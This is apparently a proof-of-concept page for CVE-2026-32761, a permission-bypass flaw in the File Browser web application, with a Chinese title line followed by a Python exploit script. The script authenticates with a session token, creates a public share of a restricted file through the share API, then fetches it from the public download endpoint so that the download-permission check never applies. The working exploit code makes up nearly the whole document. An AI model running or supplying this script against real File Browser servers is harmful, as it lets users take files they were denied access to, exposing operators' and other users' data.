CVE-2026-32761 File Browser权限绕过漏洞

# PoC for CVE-2026-32761 # Description: Exploit permission bypass by creating a share and downloading via public link. import requests target = "http://example.com:8080" api_token = "YOUR_SESSION_TOKEN" file_path = "restricted_file.txt" headers = {"X-Auth": api_token, "Content-Type": "application/json"} # Step 1: Create a public share using share permission share_url = f"{target}/api/resources/share" payload = {"path": file_path} response = requests.post(share_url, headers=headers, json=payload) if response.status_code == 200 and 'hash' in response.json(): share_hash = response.json()['hash'] print(f"[+] Share created: {share_hash}") # Step 2: Access the file via public download endpoint bypassing download permission check public_dl_url = f"{target}/api/public/dl/{share_hash}/{file_path}" file_response = requests.get(public_dl_url) if file_response.status_code == 200: print("[+] Exploit successful! File content downloaded:") print(file_response.text) else: print("[-] Failed to create share or exploit failed.")